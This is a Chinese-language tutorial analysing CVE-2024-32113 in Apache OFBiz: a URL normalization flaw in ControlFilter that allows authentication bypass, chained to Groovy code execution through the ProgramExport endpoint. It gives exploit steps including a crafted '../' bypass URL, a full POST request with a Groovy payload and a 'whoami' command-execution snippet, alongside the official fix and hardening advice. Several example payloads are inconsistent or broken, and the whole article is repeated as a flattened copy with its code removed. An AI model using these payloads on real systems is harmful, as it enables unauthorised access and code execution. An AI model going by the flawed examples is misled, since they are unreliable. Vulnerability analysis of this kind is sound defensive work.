【CVE-2024-32113】利用cursor分析apache ofbiz目录遍历绕过登录授权到代码执行漏洞
字数 1793 2025-08-23 18:31:25

Apache OFBiz 目录遍历漏洞分析及利用教学 (CVE-2024-32113)

漏洞概述

CVE-2024-32113 是 Apache OFBiz 中存在的一个安全漏洞,该漏洞允许攻击者通过精心构造的 URL 路径绕过身份验证机制,进而可能导致远程代码执行。本教学文档将详细分析该漏洞的原理、利用方式以及修复方案。

一、OFBiz 基础架构分析

1.1 主要目录结构

framework/ - 框架核心目录
    - base/ - 基础组件
    - catalina/ - Tomcat/Catalina 相关配置
    - common/ - 通用功能组件
    - entity/ - 实体/数据模型相关
    - service/ - 服务层组件
    - webapp/ - Web应用组件
    - webtools/ - Web工具组件
    - start/ - 启动相关代码

1.2 关键配置文件

  1. 组件配置:

    • ofbiz-component.xml - 每个组件的配置文件
    • component-load.xml - 定义组件加载顺序
  2. Web相关配置:

    • web.xml - Web应用配置文件
    • controller.xml - Web控制器配置
    • entityengine.xml - 实体引擎配置

1.3 系统特点

  1. 模块化设计:每个功能模块都是独立组件
  2. MVC架构:
    • webapp 模块处理Web层
    • entity 模块处理数据层
    • service 模块处理业务逻辑层
  3. 配置驱动:大量使用XML配置文件
  4. 扩展性:插件化架构,组件可独立开发和部署

二、Web路由控制机制

2.1 核心组件

  1. ControlFilter - 请求过滤器:

    • URL白名单过滤
    • 处理重定向逻辑
    • 安全检查
  2. ControlServlet - 主控制器:

    • 处理所有Web请求的核心Servlet
    • 通过web.xml中的配置进行URL映射

2.2 路由定义方式

示例 controller.xml 配置:

<request-map uri="view">
    <security https="true" auth="false"/>
    <response name="success" type="view" value="main"/>
</request-map>

<request-map uri="chain">
    <event type="java" path="org.apache.ofbiz.webapp.event.TestEvent" invoke="test"/>
    <response name="success" type="request" value="/view"/>
    <response name="error" type="view" value="error"/>
</request-map>

2.3 请求处理流程

  1. 请求首先经过 ControlFilter

    • 检查URL是否在允许列表中
    • 处理重定向逻辑
    • 执行安全检查
  2. 然后由 ControlServlet 处理:

    • 解析请求URL
    • 查找对应的request-map定义
    • 执行相应的处理逻辑
    • 返回定义的响应

三、漏洞分析 (CVE-2024-32113)

3.1 漏洞描述

这是一个URL规范化绕过漏洞,存在于 ControlFilter.java 中:

// normalize to remove ".." special name usage to bypass webapp filter
try {
    requestUri = new URI(requestUri).normalize().toString();
} catch (URISyntaxException e) {
    throw new RuntimeException(e);
}

问题在于代码只对请求的URI进行了简单的 normalize() 处理,但没有对比规范化前后的URL是否一致。

3.2 漏洞利用方式

攻击者可以通过以下方式绕过URL白名单检查:

  1. 路径遍历攻击:

    /webtools/control/etc/passwd
    
  2. URL编码绕过:

    /webtools/control/%2e%2e/%2e%2e/sensitive-data
    
  3. 特殊字符组合:

    /webtools/control/confidential/
    

3.3 权限绕过原理

假设存在:

  • /webtools/control/main - 公开接口 (auth="false")
  • /webtools/control/entitymaint - 需要认证的接口 (auth="true")

攻击者可构造:

/webtools/control/main/../entitymaint

处理流程:

  1. 初始URL以 /control/main 开头,通过白名单检查
  2. 规范化后变为 /webtools/control/entitymaint
  3. 系统未检查规范化前后URL的一致性
  4. 最终访问到需要认证的接口

四、从目录遍历到RCE

4.1 ProgramExport 接口分析

ProgramExport 是一个允许执行Groovy代码的接口:

<request-map uri="ProgramExport">
    <security https="true" auth="true"/>
    <response name="success" type="view" value="ProgramExport"/>
    <response name="error" type="view" value="ProgramExport"/>
</request-map>

关键代码 (ProgramExport.groovy):

if (UtilValidate.isNotEmpty(groovyProgram)) {
    try {
        // Check if a webshell is not uploaded but allow "import"
        if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
            logError("Not executed for security reason")
            request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
            return
        }
        shell.parse(groovyProgram)
        shell.evaluate(groovyProgram)
        recordValues = shell.getVariable("recordValues")
        xmlDoc = GenericValue.makeXmlDocument(recordValues)
        context.put("xmlDoc", xmlDoc)
    } catch(Exception e) {
        request.setAttribute("_ERROR_MESSAGE_", e)
        return
    }
}

4.2 利用步骤

  1. 构造URL绕过认证:

    https://target/webtools/control/main/../ProgramExport
    
  2. 发送POST请求执行Groovy代码:

    POST /webtools/control/ProgramExport HTTP/1.1
    Host: target
    Content-Type: application/x-www-form-urlencoded
    
    groovyProgram=import org.apache.ofbiz.entity.util.EntityFindOptions; EntityFindOptions findOptions = new EntityFindOptions(); findOptions.setMaxRows(3); List products = delegator.findList("Product", null, null, null, findOptions, false); if (products != null) { recordValues.addAll(products); }
    
  3. 更危险的利用(需绕过安全检查):

    // 示例:执行系统命令
    def cmd = "whoami".execute().text
    recordValues = ["output": cmd]
    

4.3 安全限制与绕过

接口存在安全检查:

if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
    logError("Not executed for security reason")
    return;
}

但允许使用 import 关键字,可能被利用来加载危险类。

五、官方修复方案

修复代码 (ControlFilter.java):

if (req.getRequestURL() != null) {
    // Allow tests with Mockito, ControlFilterTests
    String url = new URI(req.getRequestURL().toString()).normalize().toString();
    if (!req.getRequestURL().toString().equals(url)) {
        throw new RuntimeException();
    }
}

修复要点:

  1. 获取完整的 RequestURL 而不仅仅是 URI
  2. 对规范化前后的URL进行严格比对
  3. 如果不一致则直接抛出异常

六、安全建议

  1. 立即升级到最新版本
  2. 实施严格的白名单机制:
    • 不仅检查规范化后的URL
    • 还要验证规范化前后的一致性
  3. 避免直接使用未经处理的用户输入作为文件路径
  4. 对敏感接口增加额外的认证检查
  5. 监控异常访问模式

七、总结

CVE-2024-32113 展示了URL处理不当可能导致严重安全问题的典型案例。通过分析我们可以看到:

  1. 路径规范化不完整会导致认证绕过
  2. 认证绕过结合危险功能可能导致RCE
  3. 多层防御机制的重要性:
    • 输入验证
    • 输出编码
    • 最小权限原则
    • 深度防御

该漏洞的分析过程也展示了如何使用工具(如Cursor)辅助代码审计,快速定位安全问题。

Apache OFBiz 目录遍历漏洞分析及利用教学 (CVE-2024-32113) 漏洞概述 CVE-2024-32113 是 Apache OFBiz 中存在的一个安全漏洞,该漏洞允许攻击者通过精心构造的 URL 路径绕过身份验证机制,进而可能导致远程代码执行。本教学文档将详细分析该漏洞的原理、利用方式以及修复方案。 一、OFBiz 基础架构分析 1.1 主要目录结构 1.2 关键配置文件 组件配置: ofbiz-component.xml - 每个组件的配置文件 component-load.xml - 定义组件加载顺序 Web相关配置: web.xml - Web应用配置文件 controller.xml - Web控制器配置 entityengine.xml - 实体引擎配置 1.3 系统特点 模块化设计:每个功能模块都是独立组件 MVC架构: webapp 模块处理Web层 entity 模块处理数据层 service 模块处理业务逻辑层 配置驱动:大量使用XML配置文件 扩展性:插件化架构,组件可独立开发和部署 二、Web路由控制机制 2.1 核心组件 ControlFilter - 请求过滤器: URL白名单过滤 处理重定向逻辑 安全检查 ControlServlet - 主控制器: 处理所有Web请求的核心Servlet 通过web.xml中的配置进行URL映射 2.2 路由定义方式 示例 controller.xml 配置: 2.3 请求处理流程 请求首先经过 ControlFilter : 检查URL是否在允许列表中 处理重定向逻辑 执行安全检查 然后由 ControlServlet 处理: 解析请求URL 查找对应的request-map定义 执行相应的处理逻辑 返回定义的响应 三、漏洞分析 (CVE-2024-32113) 3.1 漏洞描述 这是一个URL规范化绕过漏洞,存在于 ControlFilter.java 中: 问题在于代码只对请求的URI进行了简单的 normalize() 处理,但没有对比规范化前后的URL是否一致。 3.2 漏洞利用方式 攻击者可以通过以下方式绕过URL白名单检查: 路径遍历攻击: URL编码绕过: 特殊字符组合: 3.3 权限绕过原理 假设存在: /webtools/control/main - 公开接口 (auth="false") /webtools/control/entitymaint - 需要认证的接口 (auth="true") 攻击者可构造: 处理流程: 初始URL以 /control/main 开头,通过白名单检查 规范化后变为 /webtools/control/entitymaint 系统未检查规范化前后URL的一致性 最终访问到需要认证的接口 四、从目录遍历到RCE 4.1 ProgramExport 接口分析 ProgramExport 是一个允许执行Groovy代码的接口: 关键代码 ( ProgramExport.groovy ): 4.2 利用步骤 构造URL绕过认证: 发送POST请求执行Groovy代码: 更危险的利用(需绕过安全检查): 4.3 安全限制与绕过 接口存在安全检查: 但允许使用 import 关键字,可能被利用来加载危险类。 五、官方修复方案 修复代码 ( ControlFilter.java ): 修复要点: 获取完整的 RequestURL 而不仅仅是 URI 对规范化前后的URL进行严格比对 如果不一致则直接抛出异常 六、安全建议 立即升级到最新版本 实施严格的白名单机制: 不仅检查规范化后的URL 还要验证规范化前后的一致性 避免直接使用未经处理的用户输入作为文件路径 对敏感接口增加额外的认证检查 监控异常访问模式 七、总结 CVE-2024-32113 展示了URL处理不当可能导致严重安全问题的典型案例。通过分析我们可以看到: 路径规范化不完整会导致认证绕过 认证绕过结合危险功能可能导致RCE 多层防御机制的重要性: 输入验证 输出编码 最小权限原则 深度防御 该漏洞的分析过程也展示了如何使用工具(如Cursor)辅助代码审计,快速定位安全问题。